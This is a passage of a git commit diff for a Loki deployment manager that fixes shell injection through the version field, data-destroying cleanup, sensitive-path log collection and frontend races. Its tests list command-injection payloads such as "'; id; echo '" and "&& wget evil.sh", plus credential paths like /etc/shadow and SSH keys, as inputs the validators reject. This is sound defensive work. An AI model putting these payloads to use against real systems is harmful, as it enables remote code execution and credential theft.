fix(security,data): P0 — 命令注入/停止毁数据/采集路径绕过/DB 清库/前端竞态
后端(实机 10.10.10.161 验证 host-binary 全链路 + 注入双路径 400): - Loki 版本号严格 ^\d+.\d+.\d+$ 校验并接入 Update 路径:version 拼进 SSH shell 命令, 旧校验放行 3.0.0'; id; echo ' 等注入载荷(root RCE) - Stop/Restart 清理清单移除 PVC:停止部署曾连带删除 loki-data PVC,filesystem 存储日志被永久清空(测试锁死红线) - 采集敏感路径防护覆盖默认 LogPath 分支与 collector Create(/etc/shadow 不再可绕过入库) - 数据文件损坏时原文件改名 .corrupt-* 留档再空库启动,不再被静默覆盖(loadFromDisk 抽出可测) 前端: - 审计页用户名过滤 300ms 防抖 + AbortController/版本号(逐键竞态数据错乱) - 向导自动部署改用创建返回实例(或 id 最大且 pending),不再盲取 list[0] 对错误实例发起真实部署 - 路由级 ErrorBoundary:单页崩溃/chunk 404 只影响当前页
This commit is contained in:
1 parent
5e59347c40
commit
2975452c21
17 files changed
+270
-67
No files matched your search
+63
-43
@@ -539,50 +539,25 @@ func (d *JsonDB) migrateSchema() bool {
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func InitDB() error {
|
// loadFromDisk 读取并解析数据文件,重建 ID 序列;文件损坏时备份留档绝不覆盖。
|
||||||
cfg := config.GetConfig()
|
func (d *JsonDB) loadFromDisk() {
|
||||||
_ = os.MkdirAll(cfg.DataDir, 0700)
|
|
||||||
|
|
||||||
d := &JsonDB{
|
|
||||||
dataFile: cfg.DatabasePath,
|
|
||||||
Users: []models.User{},
|
|
||||||
Clusters: []models.Cluster{},
|
|
||||||
Hosts: []models.Host{},
|
|
||||||
Storages: []models.StorageConfig{},
|
|
||||||
Deployments: []models.LokiDeployment{},
|
|
||||||
Collectors: []models.Collector{},
|
|
||||||
Logs: []models.DeploymentLog{},
|
|
||||||
Settings: []models.SystemSetting{},
|
|
||||||
LogSources: []models.LogSource{},
|
|
||||||
AlertRules: []models.AlertRule{},
|
|
||||||
AlertDeliveries: []models.AlertDelivery{},
|
|
||||||
NotifyChannels: []models.NotifyChannel{},
|
|
||||||
LogPolicyGroups: []models.LogPolicyGroup{},
|
|
||||||
AuditLogs: []models.AuditLog{},
|
|
||||||
DailyVolumeSnapshots: []models.DailyVolumeSnapshot{},
|
|
||||||
SchemaVersion: CurrentSchemaVersion,
|
|
||||||
sequences: map[string]uint{
|
|
||||||
"users": 0,
|
|
||||||
"clusters": 0,
|
|
||||||
"hosts": 0,
|
|
||||||
"storages": 0,
|
|
||||||
"deployments": 0,
|
|
||||||
"collectors": 0,
|
|
||||||
"logs": 0,
|
|
||||||
"logPolicyGroups": 0,
|
|
||||||
"logSources": 0,
|
|
||||||
"notifyChannels": 0,
|
|
||||||
"alertRules": 0,
|
|
||||||
"alertDeliveries": 0,
|
|
||||||
"auditLogs": 0,
|
|
||||||
"dailyVolumeSnapshots": 0,
|
|
||||||
},
|
|
||||||
saveChan: make(chan saveRequest, 10),
|
|
||||||
stopChan: make(chan struct{}),
|
|
||||||
}
|
|
||||||
|
|
||||||
if data, err := os.ReadFile(d.dataFile); err == nil {
|
if data, err := os.ReadFile(d.dataFile); err == nil {
|
||||||
if err := json.Unmarshal(data, d); err == nil {
|
if err := json.Unmarshal(data, d); err != nil {
|
||||||
|
// 损坏的数据文件可能已被部分填充,绝不能让随后的空库落盘覆盖原文件:
|
||||||
|
// 先把原文件改名留档,再清回空库继续启动(seed 会重建 admin)。
|
||||||
|
// 改名失败(权限/只读)时宁可退出,也不销毁可能可恢复的数据。
|
||||||
|
backup := fmt.Sprintf("%s.corrupt-%s", d.dataFile, time.Now().Format("20060102-150405"))
|
||||||
|
if renameErr := os.Rename(d.dataFile, backup); renameErr != nil {
|
||||||
|
log.Fatalf("[db] 数据文件 %s 解析失败(%v)且无法备份(%v),为避免覆盖可恢复数据进程退出,请人工处理", d.dataFile, err, renameErr)
|
||||||
|
}
|
||||||
|
log.Printf("[ERROR] [db] 数据文件 %s 解析失败(%v),原文件已备份为 %s,以空库继续启动", d.dataFile, err, backup)
|
||||||
|
d.Users, d.Clusters, d.Hosts, d.Storages = nil, nil, nil, nil
|
||||||
|
d.Deployments, d.Collectors, d.Logs, d.Settings = nil, nil, nil, nil
|
||||||
|
d.LogSources, d.AlertRules, d.AlertDeliveries = nil, nil, nil
|
||||||
|
d.NotifyChannels, d.LogPolicyGroups, d.AuditLogs = nil, nil, nil
|
||||||
|
d.DailyVolumeSnapshots = nil
|
||||||
|
d.SchemaVersion = 0
|
||||||
|
} else {
|
||||||
d.sequences = map[string]uint{}
|
d.sequences = map[string]uint{}
|
||||||
for _, u := range d.Users {
|
for _, u := range d.Users {
|
||||||
if u.ID > d.sequences["users"] {
|
if u.ID > d.sequences["users"] {
|
||||||
@@ -661,6 +636,51 @@ func InitDB() error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func InitDB() error {
|
||||||
|
cfg := config.GetConfig()
|
||||||
|
_ = os.MkdirAll(cfg.DataDir, 0700)
|
||||||
|
|
||||||
|
d := &JsonDB{
|
||||||
|
dataFile: cfg.DatabasePath,
|
||||||
|
Users: []models.User{},
|
||||||
|
Clusters: []models.Cluster{},
|
||||||
|
Hosts: []models.Host{},
|
||||||
|
Storages: []models.StorageConfig{},
|
||||||
|
Deployments: []models.LokiDeployment{},
|
||||||
|
Collectors: []models.Collector{},
|
||||||
|
Logs: []models.DeploymentLog{},
|
||||||
|
Settings: []models.SystemSetting{},
|
||||||
|
LogSources: []models.LogSource{},
|
||||||
|
AlertRules: []models.AlertRule{},
|
||||||
|
AlertDeliveries: []models.AlertDelivery{},
|
||||||
|
NotifyChannels: []models.NotifyChannel{},
|
||||||
|
LogPolicyGroups: []models.LogPolicyGroup{},
|
||||||
|
AuditLogs: []models.AuditLog{},
|
||||||
|
DailyVolumeSnapshots: []models.DailyVolumeSnapshot{},
|
||||||
|
SchemaVersion: CurrentSchemaVersion,
|
||||||
|
sequences: map[string]uint{
|
||||||
|
"users": 0,
|
||||||
|
"clusters": 0,
|
||||||
|
"hosts": 0,
|
||||||
|
"storages": 0,
|
||||||
|
"deployments": 0,
|
||||||
|
"collectors": 0,
|
||||||
|
"logs": 0,
|
||||||
|
"logPolicyGroups": 0,
|
||||||
|
"logSources": 0,
|
||||||
|
"notifyChannels": 0,
|
||||||
|
"alertRules": 0,
|
||||||
|
"alertDeliveries": 0,
|
||||||
|
"auditLogs": 0,
|
||||||
|
"dailyVolumeSnapshots": 0,
|
||||||
|
},
|
||||||
|
saveChan: make(chan saveRequest, 10),
|
||||||
|
stopChan: make(chan struct{}),
|
||||||
|
}
|
||||||
|
|
||||||
|
d.loadFromDisk()
|
||||||
migratedLogAccess := migrateLogAccessToGroups(d)
|
migratedLogAccess := migrateLogAccessToGroups(d)
|
||||||
// 结构版本迁移(审计表、采集项等新字段的兼容处理)
|
// 结构版本迁移(审计表、采集项等新字段的兼容处理)
|
||||||
migratedSchema := d.migrateSchema()
|
migratedSchema := d.migrateSchema()
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package repository
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestInitDBCorruptedFileIsNotOverwritten 数据文件损坏时,原内容必须以 .corrupt-* 备份留档,
|
||||||
|
// 不允许被随后的空库落盘覆盖(可恢复数据销毁 = P0)。
|
||||||
|
func TestInitDBCorruptedFileIsNotOverwritten(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
dataFile := filepath.Join(dir, "lokistack.json")
|
||||||
|
corrupt := "{not valid json"
|
||||||
|
if err := os.WriteFile(dataFile, []byte(corrupt), 0o600); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
d := &JsonDB{dataFile: dataFile}
|
||||||
|
d.loadFromDisk()
|
||||||
|
// 模拟启动后任意一次落盘:损坏原文若未被移走,这里就会覆盖它
|
||||||
|
if err := d.doSaveInner(); err != nil {
|
||||||
|
t.Fatalf("空库落盘失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
backedUp := false
|
||||||
|
for _, e := range entries {
|
||||||
|
if strings.HasPrefix(e.Name(), "lokistack.json.corrupt-") {
|
||||||
|
content, readErr := os.ReadFile(filepath.Join(dir, e.Name()))
|
||||||
|
if readErr == nil && string(content) == corrupt {
|
||||||
|
backedUp = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !backedUp {
|
||||||
|
t.Fatalf("损坏原文未被完整备份留档: %v", entries)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -229,6 +229,17 @@ func (s *CollectorService) Create(req *CreateCollectorRequest) (*models.Collecto
|
|||||||
return nil, fmt.Errorf("Sidecar 采集器需要填写目标 Deployment 名称")
|
return nil, fmt.Errorf("Sidecar 采集器需要填写目标 Deployment 名称")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 入库前统一校验采集项(含敏感路径拦截):Create 也要挡,
|
||||||
|
// 否则坏数据先落库、部署时才报错(Update 已有校验)
|
||||||
|
if err := models.ValidateScrapeJobs(req.ScrapeJobs); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(req.LogPath) != "" {
|
||||||
|
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: strings.Split(req.LogPath, ",")}}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
refType := "cluster"
|
refType := "cluster"
|
||||||
if req.Type == "host-promtail" {
|
if req.Type == "host-promtail" {
|
||||||
refType = "host"
|
refType = "host"
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -255,6 +256,9 @@ func (s *DeploymentService) Update(id uint, updates map[string]interface{}) erro
|
|||||||
db.Deployments[i].Description = v
|
db.Deployments[i].Description = v
|
||||||
}
|
}
|
||||||
if v, ok := updates["version"].(string); ok && v != "" {
|
if v, ok := updates["version"].(string); ok && v != "" {
|
||||||
|
if err := ValidateLokiVersion(v); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
db.Deployments[i].Version = v
|
db.Deployments[i].Version = v
|
||||||
}
|
}
|
||||||
if v, ok := updates["namespace"].(string); ok && v != "" {
|
if v, ok := updates["namespace"].(string); ok && v != "" {
|
||||||
@@ -601,17 +605,20 @@ func (s *DeploymentService) getEndpoint(d *models.LokiDeployment) string {
|
|||||||
// ==================== 版本兼容性检查 ====================
|
// ==================== 版本兼容性检查 ====================
|
||||||
|
|
||||||
// ValidateLokiVersion 检查 Loki 版本是否在支持列表中且满足最低版本要求
|
// ValidateLokiVersion 检查 Loki 版本是否在支持列表中且满足最低版本要求
|
||||||
|
// lokiVersionPattern 版本号会被拼进主机上的 shell 命令(下载 URL 等),
|
||||||
|
// 只放行纯数字三段式,从根上杜绝引号/命令替换等注入
|
||||||
|
var lokiVersionPattern = regexp.MustCompile(`^\d+\.\d+\.\d+$`)
|
||||||
|
|
||||||
func ValidateLokiVersion(version string) error {
|
func ValidateLokiVersion(version string) error {
|
||||||
if version == "" {
|
if version == "" {
|
||||||
return nil // 使用默认值,不报错
|
return nil // 使用默认值,不报错
|
||||||
}
|
}
|
||||||
|
|
||||||
// 基本格式验证
|
if !lokiVersionPattern.MatchString(version) {
|
||||||
parts := strings.Split(version, ".")
|
|
||||||
if len(parts) < 2 {
|
|
||||||
return fmt.Errorf("版本号格式无效: %s,期望格式如 3.0.0", version)
|
return fmt.Errorf("版本号格式无效: %s,期望格式如 3.0.0", version)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
parts := strings.Split(version, ".")
|
||||||
major, err := strconv.Atoi(parts[0])
|
major, err := strconv.Atoi(parts[0])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("无法解析主版本号: %s", version)
|
return fmt.Errorf("无法解析主版本号: %s", version)
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package services
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
// TestValidateLokiVersionRejectsShellMetacharacters 版本号会拼进主机 shell 命令(下载 URL 等),
|
||||||
|
// 必须只放行纯数字三段式,杜绝命令注入。
|
||||||
|
func TestValidateLokiVersionRejectsShellMetacharacters(t *testing.T) {
|
||||||
|
bad := []string{
|
||||||
|
`3.0.0'; id; echo '`,
|
||||||
|
`2.8.9$(id)`,
|
||||||
|
`3.0.0;id`,
|
||||||
|
`3.0.0 && wget evil.sh`,
|
||||||
|
"3.0.0\nid",
|
||||||
|
"3.0.0`id`",
|
||||||
|
`v3.0.0`,
|
||||||
|
`3.0`,
|
||||||
|
`3.0.0-beta`,
|
||||||
|
`3..0`,
|
||||||
|
` 3.0.0`,
|
||||||
|
}
|
||||||
|
for _, version := range bad {
|
||||||
|
if err := ValidateLokiVersion(version); err == nil {
|
||||||
|
t.Errorf("ValidateLokiVersion(%q) 应被拒绝(shell 注入面)", version)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
good := []string{"", "2.8.9", "3.0.0", "3.4.0"}
|
||||||
|
for _, version := range good {
|
||||||
|
if err := ValidateLokiVersion(version); err != nil {
|
||||||
|
t.Errorf("ValidateLokiVersion(%q) 不应报错: %v", version, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package services
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
// TestCleanupKindsNeverIncludePVC Stop/Restart 复用 CleanupLoki,
|
||||||
|
// 清理清单一旦加入 PVC 就会把 filesystem 存储的日志数据永久清空——用测试锁死这条红线。
|
||||||
|
func TestCleanupKindsNeverIncludePVC(t *testing.T) {
|
||||||
|
for _, item := range lokiCleanupKinds {
|
||||||
|
if item[0] == "persistentvolumeclaim" {
|
||||||
|
t.Fatalf("清理清单包含 PVC(%s):停止部署不得删除日志数据,如需卸载清理请走显式的删除流程", item[1])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -216,13 +216,22 @@ func (d *LokiDeployer) log(level, message, detail string) {
|
|||||||
|
|
||||||
// ==================== 清理 / 卸载 ====================
|
// ==================== 清理 / 卸载 ====================
|
||||||
|
|
||||||
|
// lokiCleanupKinds 停止/清理时删除的 Kubernetes 资源清单。
|
||||||
|
// 刻意不包含 persistentvolumeclaim(loki-data):Stop/Restart 也会走到这里,
|
||||||
|
// 删 PVC 等于把 filesystem 存储的日志数据永久清空——数据只随显式卸载流程处理。
|
||||||
|
var lokiCleanupKinds = [][2]string{
|
||||||
|
{"statefulset", "loki"},
|
||||||
|
{"service", "loki"},
|
||||||
|
{"configmap", "loki-config"},
|
||||||
|
}
|
||||||
|
|
||||||
func CleanupLoki(ctx context.Context, deployment *models.LokiDeployment) {
|
func CleanupLoki(ctx context.Context, deployment *models.LokiDeployment) {
|
||||||
if deployment.Mode == "k8s-yaml" && deployment.Cluster != nil {
|
if deployment.Mode == "k8s-yaml" && deployment.Cluster != nil {
|
||||||
ns := deployment.Namespace
|
ns := deployment.Namespace
|
||||||
if ns == "" {
|
if ns == "" {
|
||||||
ns = "log"
|
ns = "log"
|
||||||
}
|
}
|
||||||
for _, item := range [][2]string{{"statefulset", "loki"}, {"service", "loki"}, {"configmap", "loki-config"}, {"persistentvolumeclaim", "loki-data"}} {
|
for _, item := range lokiCleanupKinds {
|
||||||
_ = deleteK8sResource(ctx, deployment.Cluster, item[0], ns, item[1])
|
_ = deleteK8sResource(ctx, deployment.Cluster, item[0], ns, item[1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package services
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
// TestPromtailConfigForHostRejectsForbiddenDefaultLogPath 敏感路径防护不得只覆盖 ScrapeJobs 分支:
|
||||||
|
// 默认 LogPath 填 /etc/shadow、/root/.ssh/id_rsa 同样必须被拒绝(否则主机凭据被采进日志平台)。
|
||||||
|
func TestPromtailConfigForHostRejectsForbiddenDefaultLogPath(t *testing.T) {
|
||||||
|
bad := []string{"/etc/shadow", "/root/.ssh/id_rsa", "/proc/self/mem", "/etc/ssh/ssh_host_rsa_key"}
|
||||||
|
for _, path := range bad {
|
||||||
|
_, err := PromtailConfigForHost(HostPromtailOptions{
|
||||||
|
Hostname: "h1",
|
||||||
|
LogPath: path,
|
||||||
|
})
|
||||||
|
if err == nil {
|
||||||
|
t.Errorf("默认 LogPath=%q 应被拒绝(敏感路径)", path)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 正常业务路径不受影响
|
||||||
|
if _, err := PromtailConfigForHost(HostPromtailOptions{
|
||||||
|
Hostname: "h1",
|
||||||
|
LogPath: "/var/log/app/*.log",
|
||||||
|
}); err != nil {
|
||||||
|
t.Errorf("正常 LogPath 不应报错: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -116,8 +116,12 @@ scrape_configs:
|
|||||||
return b.String(), nil
|
return b.String(), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 默认 1:应用日志
|
// 默认 1:应用日志(与 ScrapeJobs 分支同款敏感路径校验,
|
||||||
|
// 否则 /etc/shadow 之类可从 LogPath 绕过防线被采进日志平台)
|
||||||
if path := strings.TrimSpace(o.LogPath); path != "" {
|
if path := strings.TrimSpace(o.LogPath); path != "" {
|
||||||
|
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: splitPaths(path)}}); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
rendered, err := renderScrapeJob(models.ScrapeJob{
|
rendered, err := renderScrapeJob(models.ScrapeJob{
|
||||||
Name: "app",
|
Name: "app",
|
||||||
Paths: splitPaths(path),
|
Paths: splitPaths(path),
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import { Routes, Route, Navigate, useLocation } from 'react-router'
|
|||||||
import { Toaster } from '@/components/ui/sonner'
|
import { Toaster } from '@/components/ui/sonner'
|
||||||
import { isLoggedIn, getUser } from '@/lib/auth-storage'
|
import { isLoggedIn, getUser } from '@/lib/auth-storage'
|
||||||
import { routes, findRouteMeta } from '@/router/routes'
|
import { routes, findRouteMeta } from '@/router/routes'
|
||||||
|
import ErrorBoundary from '@/components/ErrorBoundary'
|
||||||
import { useTranslation } from 'react-i18next'
|
import { useTranslation } from 'react-i18next'
|
||||||
|
|
||||||
const Layout = lazy(() => import('@/components/Layout'))
|
const Layout = lazy(() => import('@/components/Layout'))
|
||||||
@@ -65,7 +66,10 @@ const App = memo(function App() {
|
|||||||
path={route.path}
|
path={route.path}
|
||||||
element={
|
element={
|
||||||
route.auth ? (
|
route.auth ? (
|
||||||
<RequireAuth>{<route.component />}</RequireAuth>
|
<RequireAuth>
|
||||||
|
{/* 页面级错误边界:单页崩溃/chunk 加载失败只影响当前页,侧栏与其它路由仍可用 */}
|
||||||
|
<ErrorBoundary key={route.path}>{<route.component />}</ErrorBoundary>
|
||||||
|
</RequireAuth>
|
||||||
) : (
|
) : (
|
||||||
<Suspense fallback={<AppLoadingFallback />}>
|
<Suspense fallback={<AppLoadingFallback />}>
|
||||||
<route.component />
|
<route.component />
|
||||||
|
|||||||
@@ -88,12 +88,13 @@ export interface RestoreResult {
|
|||||||
|
|
||||||
export const systemApi = {
|
export const systemApi = {
|
||||||
// 审计
|
// 审计
|
||||||
auditList: (params: AuditListParams = {}) =>
|
auditList: (params: AuditListParams = {}, opts?: { signal?: AbortSignal }) =>
|
||||||
http.get<{ list: AuditLog[]; total: number; page: number; pageSize: number }>(
|
http.get<{ list: AuditLog[]; total: number; page: number; pageSize: number }>(
|
||||||
`/audit-logs${buildQuery(params as Record<string, unknown>)}`,
|
`/audit-logs${buildQuery(params as Record<string, unknown>)}`,
|
||||||
|
opts,
|
||||||
),
|
),
|
||||||
auditGet: (id: number) => http.get<AuditLog>(`/audit-logs/${id}`),
|
auditGet: (id: number) => http.get<AuditLog>(`/audit-logs/${id}`),
|
||||||
auditStats: () => http.get<AuditStats>('/audit-logs/stats'),
|
auditStats: (opts?: { signal?: AbortSignal }) => http.get<AuditStats>('/audit-logs/stats', opts),
|
||||||
|
|
||||||
// 自检
|
// 自检
|
||||||
selfCheck: () => http.get<SelfCheckResult>('/system/self-check'),
|
selfCheck: () => http.get<SelfCheckResult>('/system/self-check'),
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
import { useEffect, useState } from 'react'
|
||||||
|
|
||||||
|
/** 防抖值:输入类过滤(如用户名逐键)先防抖再触发请求,避免每个键一组查询 */
|
||||||
|
export function useDebouncedValue<T>(value: T, delayMs = 300): T {
|
||||||
|
const [debounced, setDebounced] = useState(value)
|
||||||
|
useEffect(() => {
|
||||||
|
const timer = window.setTimeout(() => setDebounced(value), delayMs)
|
||||||
|
return () => window.clearTimeout(timer)
|
||||||
|
}, [value, delayMs])
|
||||||
|
return debounced
|
||||||
|
}
|
||||||
@@ -47,6 +47,7 @@ const wizard = {
|
|||||||
hint: 'Object storage (MinIO / RustFS / S3 / OSS) recommended; skip to use local disk.',
|
hint: 'Object storage (MinIO / RustFS / S3 / OSS) recommended; skip to use local disk.',
|
||||||
},
|
},
|
||||||
deploy: {
|
deploy: {
|
||||||
|
autoTriggerFailed: 'Auto deploy failed; trigger it manually on the Deploy Loki page',
|
||||||
meta: '{{mode}} · Namespace {{namespace}} · {{endpoint}}',
|
meta: '{{mode}} · Namespace {{namespace}} · {{endpoint}}',
|
||||||
endpointPending: 'endpoint available after deployment',
|
endpointPending: 'endpoint available after deployment',
|
||||||
openGrafana: 'Open log query ({url})',
|
openGrafana: 'Open log query ({url})',
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ const wizard = {
|
|||||||
hint: '推荐对象存储(MinIO / RustFS / S3 / OSS),更可靠;跳过则使用本地磁盘。',
|
hint: '推荐对象存储(MinIO / RustFS / S3 / OSS),更可靠;跳过则使用本地磁盘。',
|
||||||
},
|
},
|
||||||
deploy: {
|
deploy: {
|
||||||
|
autoTriggerFailed: '自动触发部署失败,请到「部署 Loki」页手动触发',
|
||||||
meta: '{{mode}} · 命名空间 {{namespace}} · {{endpoint}}',
|
meta: '{{mode}} · 命名空间 {{namespace}} · {{endpoint}}',
|
||||||
endpointPending: 'endpoint 待部署完成生成',
|
endpointPending: 'endpoint 待部署完成生成',
|
||||||
openGrafana: '打开日志查询({{url}})',
|
openGrafana: '打开日志查询({{url}})',
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { memo, useCallback, useEffect, useState } from 'react'
|
import { memo, useCallback, useEffect, useRef, useState } from 'react'
|
||||||
import { useTranslation } from 'react-i18next'
|
import { useTranslation } from 'react-i18next'
|
||||||
import { History, ShieldAlert, Search, RefreshCw, Eye } from 'lucide-react'
|
import { History, ShieldAlert, Search, RefreshCw, Eye } from 'lucide-react'
|
||||||
import '@/i18n/domains'
|
import '@/i18n/domains'
|
||||||
@@ -10,6 +10,7 @@ import { LoadingSpinner } from '@/components/LoadingSpinner'
|
|||||||
import { EmptyState } from '@/components/EmptyState'
|
import { EmptyState } from '@/components/EmptyState'
|
||||||
import { ErrorState } from '@/components/ErrorState'
|
import { ErrorState } from '@/components/ErrorState'
|
||||||
import { PaginationBar } from '@/components/PaginationBar'
|
import { PaginationBar } from '@/components/PaginationBar'
|
||||||
|
import { useDebouncedValue } from '@/hooks/useDebouncedValue'
|
||||||
import { systemApi, type AuditLog, type AuditStats } from '@/api/system'
|
import { systemApi, type AuditLog, type AuditStats } from '@/api/system'
|
||||||
import { toast } from 'sonner'
|
import { toast } from 'sonner'
|
||||||
|
|
||||||
@@ -176,27 +177,41 @@ export default function AuditPage() {
|
|||||||
const [module, setModule] = useState('')
|
const [module, setModule] = useState('')
|
||||||
const [statusFilter, setStatusFilter] = useState(0)
|
const [statusFilter, setStatusFilter] = useState(0)
|
||||||
|
|
||||||
|
// 乱序/重复防护:AbortController 取消上一轮 + 版本号丢弃过期响应;
|
||||||
|
// username 是逐键输入,先防抖 300ms 再触发,避免每个键一组请求
|
||||||
|
const abortRef = useRef<AbortController | null>(null)
|
||||||
|
const versionRef = useRef(0)
|
||||||
const load = useCallback(async () => {
|
const load = useCallback(async () => {
|
||||||
|
abortRef.current?.abort()
|
||||||
|
const controller = new AbortController()
|
||||||
|
abortRef.current = controller
|
||||||
|
const version = ++versionRef.current
|
||||||
setLoading(true)
|
setLoading(true)
|
||||||
setError(null)
|
setError(null)
|
||||||
try {
|
try {
|
||||||
const [res, st] = await Promise.all([
|
const [res, st] = await Promise.all([
|
||||||
systemApi.auditList({ page, pageSize: PAGE_SIZE, username, module, status: statusFilter }),
|
systemApi.auditList({ page, pageSize: PAGE_SIZE, username, module, status: statusFilter }, { signal: controller.signal }),
|
||||||
systemApi.auditStats(),
|
systemApi.auditStats({ signal: controller.signal }),
|
||||||
])
|
])
|
||||||
|
if (version !== versionRef.current) return
|
||||||
setList(Array.isArray(res.list) ? res.list : [])
|
setList(Array.isArray(res.list) ? res.list : [])
|
||||||
setTotal(res.total ?? 0)
|
setTotal(res.total ?? 0)
|
||||||
setStats(st ?? null)
|
setStats(st ?? null)
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
if (version !== versionRef.current || (e as Error).name === 'AbortError') return
|
||||||
setError(e instanceof Error ? e.message : t('loadFailed'))
|
setError(e instanceof Error ? e.message : t('loadFailed'))
|
||||||
} finally {
|
} finally {
|
||||||
setLoading(false)
|
if (version === versionRef.current) setLoading(false)
|
||||||
}
|
}
|
||||||
}, [page, username, module, statusFilter, t])
|
}, [page, username, module, statusFilter, t])
|
||||||
|
|
||||||
|
const debouncedUsername = useDebouncedValue(username, 300)
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
void load()
|
void load()
|
||||||
}, [load])
|
return () => { abortRef.current?.abort() }
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
|
}, [page, debouncedUsername, module, statusFilter])
|
||||||
|
|
||||||
// 过滤条件变化时回到第一页,避免停在空白页
|
// 过滤条件变化时回到第一页,避免停在空白页
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ interface DeploymentFormDialogProps {
|
|||||||
open: boolean
|
open: boolean
|
||||||
onOpenChange: (open: boolean) => void
|
onOpenChange: (open: boolean) => void
|
||||||
/** 创建成功回调(父级刷新列表并回到第 1 页) */
|
/** 创建成功回调(父级刷新列表并回到第 1 页) */
|
||||||
onCreated: () => void
|
onCreated: (created?: { id: number; name: string }) => void
|
||||||
clusters: Cluster[]
|
clusters: Cluster[]
|
||||||
hosts: Host[]
|
hosts: Host[]
|
||||||
storages: StorageConfig[]
|
storages: StorageConfig[]
|
||||||
@@ -98,7 +98,7 @@ export const DeploymentFormDialog = memo(function DeploymentFormDialog({
|
|||||||
const onSubmit = form.handleSubmit(async (values) => {
|
const onSubmit = form.handleSubmit(async (values) => {
|
||||||
setSubmitting(true)
|
setSubmitting(true)
|
||||||
try {
|
try {
|
||||||
await deploymentApi.create({
|
const created = await deploymentApi.create({
|
||||||
name: values.name,
|
name: values.name,
|
||||||
description: values.description,
|
description: values.description,
|
||||||
version: values.version,
|
version: values.version,
|
||||||
@@ -117,7 +117,7 @@ export const DeploymentFormDialog = memo(function DeploymentFormDialog({
|
|||||||
storageSize: values.storageSize,
|
storageSize: values.storageSize,
|
||||||
})
|
})
|
||||||
onOpenChange(false)
|
onOpenChange(false)
|
||||||
onCreated()
|
onCreated(created)
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
toast.error(err instanceof Error ? err.message : t('form.errCreate'))
|
toast.error(err instanceof Error ? err.message : t('form.errCreate'))
|
||||||
} finally {
|
} finally {
|
||||||
|
|||||||
@@ -41,19 +41,26 @@ export const StepDeploy = memo(function StepDeploy({
|
|||||||
const [open, setOpen] = useState(false)
|
const [open, setOpen] = useState(false)
|
||||||
const [deploying, setDeploying] = useState<number | null>(null)
|
const [deploying, setDeploying] = useState<number | null>(null)
|
||||||
|
|
||||||
const handleCreated = async () => {
|
const handleCreated = async (created?: { id: number; name: string }) => {
|
||||||
onChanged()
|
onChanged()
|
||||||
// 创建成功即自动触发部署,向导内完成闭环
|
// 创建成功即自动触发部署,向导内完成闭环
|
||||||
try {
|
try {
|
||||||
|
// 优先用创建接口返回的实例;拿不到时按「id 最大且 pending」匹配,
|
||||||
|
// 绝不盲取 list[0] —— 并发创建/排序变化会对错误实例发起真实部署
|
||||||
|
let target = created
|
||||||
|
if (!target) {
|
||||||
const list = await deploymentApi.list({ page: 1, pageSize: 5 })
|
const list = await deploymentApi.list({ page: 1, pageSize: 5 })
|
||||||
const latest = list.list[0]
|
const pending = list.list.filter(item => item.status === 'pending')
|
||||||
if (latest && latest.status === 'pending') {
|
target = pending.sort((a, b) => b.id - a.id)[0]
|
||||||
setDeploying(latest.id)
|
|
||||||
await deploymentApi.deploy(latest.id)
|
|
||||||
toast.info(t('deploy.deployTriggered', { name: latest.name }))
|
|
||||||
}
|
}
|
||||||
} catch {
|
if (target) {
|
||||||
